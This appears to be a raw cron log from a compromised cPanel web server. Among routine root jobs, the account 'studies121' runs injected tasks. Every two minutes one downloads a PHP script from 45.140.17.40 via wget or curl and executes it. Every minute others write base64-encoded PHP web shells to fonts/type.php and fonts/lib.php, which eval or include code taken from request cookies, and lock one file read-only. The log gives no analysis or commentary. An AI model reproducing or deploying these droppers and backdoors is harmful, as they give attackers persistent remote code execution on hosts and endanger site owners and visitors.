Aug 30 09:16:01 ip-184-168-122-23 CROND[16191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:16:01 ip-184-168-122-23 CROND[16192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:16:02 ip-184-168-122-23 CROND[16194]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:16:02 ip-184-168-122-23 CROND[16195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:17:01 ip-184-168-122-23 CROND[16283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:17:01 ip-184-168-122-23 CROND[16284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:17:01 ip-184-168-122-23 CROND[16286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:17:01 ip-184-168-122-23 CROND[16287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:18:01 ip-184-168-122-23 CROND[16385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:18:01 ip-184-168-122-23 CROND[16387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:18:01 ip-184-168-122-23 CROND[16388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:18:01 ip-184-168-122-23 CROND[16390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:18:01 ip-184-168-122-23 CROND[16389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:19:01 ip-184-168-122-23 CROND[16471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:19:01 ip-184-168-122-23 CROND[16470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:19:01 ip-184-168-122-23 CROND[16474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:19:01 ip-184-168-122-23 CROND[16476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:20:02 ip-184-168-122-23 CROND[16564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16569]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:20:02 ip-184-168-122-23 CROND[16572]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:20:02 ip-184-168-122-23 CROND[16575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:21:01 ip-184-168-122-23 CROND[16663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:21:01 ip-184-168-122-23 CROND[16664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:21:01 ip-184-168-122-23 CROND[16665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:21:01 ip-184-168-122-23 CROND[16666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:22:01 ip-184-168-122-23 CROND[16761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:22:01 ip-184-168-122-23 CROND[16760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:22:01 ip-184-168-122-23 CROND[16763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:22:01 ip-184-168-122-23 CROND[16765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:22:01 ip-184-168-122-23 CROND[16768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:23:01 ip-184-168-122-23 CROND[16844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:23:01 ip-184-168-122-23 CROND[16846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:23:01 ip-184-168-122-23 CROND[16848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:23:01 ip-184-168-122-23 CROND[16849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:24:01 ip-184-168-122-23 CROND[16933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:24:01 ip-184-168-122-23 CROND[16935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:24:01 ip-184-168-122-23 CROND[16938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:24:01 ip-184-168-122-23 CROND[16936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:24:01 ip-184-168-122-23 CROND[16937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:25:01 ip-184-168-122-23 CROND[17030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:25:01 ip-184-168-122-23 CROND[17032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:25:01 ip-184-168-122-23 CROND[17033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:25:01 ip-184-168-122-23 CROND[17035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:25:01 ip-184-168-122-23 CROND[17036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:25:01 ip-184-168-122-23 CROND[17034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:26:01 ip-184-168-122-23 CROND[17217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:26:01 ip-184-168-122-23 CROND[17219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:26:01 ip-184-168-122-23 CROND[17220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:26:01 ip-184-168-122-23 CROND[17221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:26:01 ip-184-168-122-23 CROND[17222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:27:01 ip-184-168-122-23 CROND[17324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:27:01 ip-184-168-122-23 CROND[17326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:27:01 ip-184-168-122-23 CROND[17327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:27:01 ip-184-168-122-23 CROND[17328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:28:01 ip-184-168-122-23 CROND[17421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:28:01 ip-184-168-122-23 CROND[17424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:28:01 ip-184-168-122-23 CROND[17426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:28:01 ip-184-168-122-23 CROND[17425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:28:01 ip-184-168-122-23 CROND[17428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:29:01 ip-184-168-122-23 CROND[17528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:29:01 ip-184-168-122-23 CROND[17531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
